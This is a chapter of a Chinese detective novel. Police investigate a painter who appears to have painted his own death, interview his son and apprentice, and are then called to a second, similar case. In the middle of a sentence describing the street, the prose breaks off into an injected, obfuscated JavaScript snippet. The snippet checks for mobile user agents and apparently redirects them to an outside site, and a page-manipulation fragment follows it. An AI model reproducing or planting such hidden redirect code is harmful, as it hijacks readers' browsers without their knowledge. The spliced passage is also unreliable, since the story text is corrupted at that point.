很快,车辆到达篮球馆门口。这家篮球馆看上去就比较高级,场地不小,除篮球馆以外还有网球馆、游泳馆,吸引了不少爱运动的居民前往。 林知夏跟随冯智临进入场馆,在一处篮球场地上,看到了一个身形高大的年轻男孩,刚刚20出头的样子,满脸青春洋溢,身上穿的都是名牌服饰。 那件篮球衣冯智临一眼就看出是JIM奢侈品牌。 等一场篮球打完,冯智临朝着那男孩儿招招手。卢彭野一愣,伸手指向自己:“找我?” 冯智临点头。 卢彭野将球扔给同伴,走到场边,一边用毛巾擦着脑袋上的汗水,一边拿起旁边的矿泉水咕咚咕咚喝了下去。 他打量着眼前的男人,身形高大,面容俊朗,只是表情看起来有几分严肃,旁人勿近的样子,硬朗却薄凉的气质扑面而来。 卢彭野忍不住问:“帅哥,找我有事,是不是也想加入我们篮球俱乐部啊?我们的会费可高啊!” 冯智临问:“你跟你爸多长时间没联系了?” 卢彭野一愣,表情变得有些不耐烦起来:“你什么人?问这个干什么?” 冯智临亮出身份。 卢彭野惊讶地猛站起身来:“我爸怎么了?他是不是出什么事了?” 冯智临说明卢文蕴死亡的情况后,卢彭野目光怔住,手中的塑料杯都拿不稳,砰的一声,掉落在地。 他颓然落坐在台阶上:“他真的被杀了,他居然真的被杀了?” “我没说是他杀。”冯智临提醒。 然而,卢彭野却摇头:“肯定是被别人杀死的!有人因为画和我爸结过梁子,他想让我爸再给她画一幅并蒂莲花,可是我爸不干。因为我爸每次绘画都会和自己的心境完全融合在一起,如果没有再次得到同样的灵感,是绝不会画两幅一模一样的画。肯定是那个人搞得鬼……”卢彭野愤恨之下,攥紧了拳头,“他得不到那副并蒂莲画,就决心报复!” “你说的那个人是收藏家,他叫什么名字?” “那人叫壮哥,但我不知道真名是什么。而且,他算什么收藏家,我看是暴发户还差不多!那男的不是真的喜欢画,只是慕名而来,觉得那幅紫莲能卖个好价格,够他炫耀罢了。”卢彭野说着,咬牙切齿,“警官,你们要是找到那人地址,我要亲自上门找他!” 冯智临问:“你要做什么?替你爸报仇?” 卢彭野狠狠地用拳头捶了一下另一只手的掌心:“我哪敢?警官在这儿,我怎么好自行泄愤?但我、我实在是……” 冯智临转移话题:“你父母的事儿,你知道多少,包括他们两个分居的情况。” “我知道他们两个玩各的,我给他们空间,也不去打扰,所以才租房在外面来着。” 林知夏问:“这一次回来以后,没见你爸?” “就见了一次,在他画室,然后就听到那个壮哥过来找他说并蒂紫莲的事儿。其余时间嘛,我都是玩自己的,也不愿意搭理我爸。” “为什么?” “我喜欢篮球,我爸非让我学画。他说自己名气已经打出来了,我可以继承他的衣钵,将来我好好学画,也能把画卖出个好价钱。但是我不图那个,家里挣的钱已经够花了,我就想发展点自己的爱好,怎么就不成了?我的篮球俱乐部现在也挺赚钱的,一个会员就几万港币呢。我们搞一些篮球类的赛事活动,俱乐部也会请一些篮球名人过来,挣的钱是没有他画一幅画卖的多,但又怎么了?我们大吵一架,回来后我就没去找过他。哦,期间我回我妈住处一趟,看见了一个陌生男人在走廊里敲她门呢,我直接掉头就走了,没意思,他们俩现在的关系太没意思。” 说着,卢彭野低下头。 嘴上这么说,实际心里肯定是因为父母之间的关系受了创伤的,林知夏看得出来。 不过这也再次印证,儿子都知道的事情,卢文蕴不可能不知道家里情况,既然已经睁一只眼闭一只眼过了这么久,想必这种婚姻状况已经稳定下来了。 “你父亲有没有自杀的可能性?”林知夏忽然问,她想要得到更多的佐证。 “不可能!上回我跟我爸吵架的时候,他还说一定要把我带到‘正道’上,就是他说的画画道路上,不把我带回去,他说自己对不起祖宗,死都没法瞑目!你想想啊,这话都说了,怎么可能突然自杀,我一万个不相信!” 从篮球场离开,林知夏跟着冯智临,根据卢彭野所给的地址,抵达被害人卢文蕴所开的画室。 画室坐落在一条繁华街道上。 街道旁有商店、布艺店、小吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280244|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店等,画室就在街道最角落的位置,外面是橱窗,可进入后,把玻璃门一关,再往深处走,就是一个小院。 小院里安静极了,完全隔绝了外面的噪音,还真是闹中取静。卢文蕴倒挺会选址。 冯智临在画室询问两名来为卢文蕴收拾遗物的工作人员,其中一名工作人员是他徒弟袁葡文。 袁葡文想起卢文蕴,仍然抹着眼泪:“我直到现在也不敢相信这是真的。” 她哭得泣不成声,将用过的纸巾丢进旁边垃圾桶。 林知夏看过去,垃圾桶里三张擦泪的纸,已经有半桶,看来他们师徒情深,关系很好。 问起壮哥是不是和被害人接触过,袁葡文有点印象,但是说:“像这样放狠话的人不少,因为老师的画作比较值钱,总有人想低价拍下,再转手转卖。这其中涉及的利益纠纷,以前就有,我们打过不少官司,警官,你查肯定能查得到。” 冯智临问袁葡文:“你觉得这起案子,像是这些利益纠纷者杀害的你老师吗?” 袁葡文想了想摇头:“昨天晚上从师母那儿得到这个消息,我也一宿没睡着,一直在想这问题,我觉得跟他们没有关系。” 冯智临对此心中也有些猜测,不过他还是想听听对方的意见:“说说看。” “死法不对,如果利益纠葛,一言不合,杀人更可能是激情犯罪,刀捅死或者……警官,我是瞎说的,不懂这些东西,但我觉得是这样的,不会这样迂回,更不会由老师亲手把死状画进画里,这太奇怪了,不是吗?我觉得那幅画一定有老师想要表达的东西,他想留给我们什么讯息?或者他是不是不得不死,自己画出了自己,再按照画中方式自杀……我只能想到这里。” 林知夏:“你的意思是,卢文蕴应该被逼得走投无路,或者是被挑唆自尽?” “我觉得是。”袁葡文说着,泪水又吧嗒吧嗒往下掉。 旁边工作人员抱着箱子过来,里面都是卢文蕴生前的杂物,有不少文件、资料、合同。 “这些东西都给师母吗?”工作人员问。 袁葡文接手过来,点点头:“所有东西都给师母。” 冯智临说:“我看一下,如果有某些利益纠纷的话,一些合同、文件、协议当中会有所体现。” 冯智临和林知夏就站在文件前,一点一点地翻看,没看出什么问题来,于是又将这些资料都放了回去。 “这些东西暂时放在画室,先不要移交给谁。警方还会从画室继续找线索,待会儿我们这边取证人员会过来取证,你到时候配合他们一下。” 袁葡文点点头。 接下来的几天时间,重案组众人走访了不少跟被害人有关的关系人物。 那几双曾经经过现场的脚印,也在各品牌鞋店都问过,很难形成新的线索。 并且现场的鞋印虽有,却很浅,附近村里人都有那几双比较大众的鞋子,而整个香江拥有那几款大众品牌鞋子的,也有数不清的人。 也就是说,目前没有证据指向明确的嫌疑人。 目前已知那幅画作完全是画家卢文蕴本人的笔迹,毫无外来加工的痕迹,那么就是他自己画出死状,这个情况无法解释。 伤口完全是可以由被害者自己切割形成,也就是所谓的割腕自杀。 可从卢文蕴亲属好友、同事口中,他却完全没有自杀的推动力,情绪一直很好,没有进行过心理治疗行为,也有未完成的事业是他所关注和期待的,猝然自杀显得奇怪。 最关键的是,那幅画作不是他原本的风格…… 这就让这起案子显得有些棘手。几条线都推不下去,警方只能扩大调查范围。 近一周甚至一个月接触过的对象全部走访过了,可是要么是没有作案动机,要么是没有作案时间,的确令人感到不可思议。 虽然为案情所困惑,但唯一的好消息是,林知夏这天终于发工资了。 回家路上,林知夏在不远处的街道打包了一份大碗蔬菜炒面,还特意加了些海鲜,算是犒劳自己发工资的奖赏,虽然实习期工资并不高。 当然,就算转正了也没多少,但是内心依旧喜悦。 晚上,林知夏美美睡了个好觉。 第二天早晨,吃完早餐,她骑着脚踏车前往重案组。 林知夏屁股还没坐热呢,就看到冯智临急匆匆地走过来,点名叫她出现场。 “又有画家写生的时候在附近的清源山出事,我们抓紧过去。佟晓敏在不在?” 法医佟晓敏从法医室走出来,提着工具箱,穿着白大褂,也出发了。 冯智临眉头紧锁:“报案人说现场仍然留有一幅画,和上一起有相似之处,画板上同样画出了被害者死亡时的状态。”